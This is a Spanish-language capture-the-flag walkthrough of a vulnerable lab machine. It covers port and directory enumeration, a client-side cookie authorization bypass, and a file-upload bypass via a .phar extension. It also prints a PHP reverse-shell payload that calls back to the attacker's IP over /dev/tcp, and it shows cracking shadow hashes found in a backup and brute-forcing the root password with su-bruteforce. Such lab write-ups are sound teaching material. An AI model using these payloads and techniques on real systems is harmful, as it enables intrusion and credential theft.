Enumeración de servicios
Comenzamos con la enumeración de puertos:
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.214
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.214
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-18 22:36 -03
Nmap scan report for 192.168.1.214
Host is up (0.00033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 bc:fb:ec:b8:93:d4:e2:78:76:eb:1b:dc:4b:a7:7f:9b (RSA)
| 256 31:41:a0:d7:e9:3c:79:11:c2:f0:81:a0:fe:2d:f9:b0 (ECDSA)
|_ 256 c9:34:17:00:31:75:4d:c0:3a:a5:b1:16:36:0d:bb:18 (ED25519)
80/tcp open http Apache httpd 2.4.51 ((Debian))
|_http-title: Bolt - Coming Soon Template
|_http-server-header: Apache/2.4.51 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.60 secondsEnumeramos con gobuster y revisamos las cabeceras con whatweb:
❯ gobuster dir -u http://192.168.1.214 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.php (Status: 200) [Size: 3988]
/assets (Status: 200) [Size: 1496]
/license.txt (Status: 200) [Size: 528]
/notes.txt (Status: 200) [Size: 279]
...
❯ whatweb http://192.168.1.214
http://192.168.1.214 [200 OK] Apache[2.4.51], Bootstrap, Cookies[RW5hYmxlVXBsb2FkZXIK], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.51 (Debian)], IP[192.168.1.214], JQuery, Script[text/javascript], Title[Bolt - Coming Soon Template]
❯ echo "RW5hYmxlVXBsb2FkZXIK" | base64 -d
EnableUploaderClient-Side Authorization Bypass
El notes.txt y la cookie EnableUploader indican que el navegador decide si muestra el subidor. Estamos ante un Client-Side Authorization Bypass: Base64 no aporta integridad ni demuestra autorización, así que el usuario puede sustituir false (ZmFsc2UK) por true y el servidor acepta el estado controlado por el cliente:
❯ echo -n "true" | base64
dHJ1ZQ==Unrestricted File Upload RCE
Al recargar aparece un botón hacia la página de subida. La primera prueba con .php está bloqueada:
❯ cat reverse.php
<?php
shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>For security, .php files are allowed.Sorry, your file was not uploaded.La aplicación sólo rechaza una extensión concreta. Probamos .phar, que el servidor conserva en una ruta pública y entrega al intérprete PHP. Esa combinación convierte el bypass de extensión en Unrestricted File Upload RCE. Accedemos al archivo y obtenemos una shell. Las flags están en /media.
Movimiento lateral a scpuser
Para escalar privilegios, en /var/backups hay una copia que contiene un shadow con los hashes de scpuser y root. Esta Credential Exposure permite realizar ataques fuera de línea sin generar intentos contra el servicio. Con el diccionario inicial sólo recuperamos la contraseña de scpuser:
❯ /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash_scpuser
...
tigger (?)
...Escalada de privilegios
Iniciamos sesión como scpuser y obtenemos la primera flag. En su home hay contraseñas antiguas de root que revelan un patrón basado en películas animadas. Esto permite un Contextual Password Guessing mucho más acotado que probar una lista genérica. Preparamos el diccionario temático y la herramienta su-bruteforce:
scpuser@comingsoon:/tmp$ wget https://raw.githubusercontent.com/carlospolop/su-bruteforce/master/suBF.sh❯ awk -F ',' '{print $6}' top_movies.csv | tr -d ' ' | tr -d '"' > movie_wordlistTransferimos el wordlist y lanzamos la fuerza bruta:
scpuser@comingsoon:/tmp$ wget http://192.168.1.10:8000/movie_wordlist_upper.txt
scpuser@comingsoon:/tmp$ ./suBF.sh -u root -w movie_wordlist_upper.txt
[+] Bruteforcing root...
You can login as root using password: ToyStory3
Wordlist exhaustedComo ya disponemos del hash, también podemos comprobar el mismo diccionario fuera de línea con John. Esta opción evita generar numerosos intentos de autenticación mediante su:
❯ /opt/john/run/john -w=movie_wordlist_upper.txt hash_root
...
ToyStory3 (?)
...Iniciamos sesión como root y obtenemos nuestra flag.
Fin.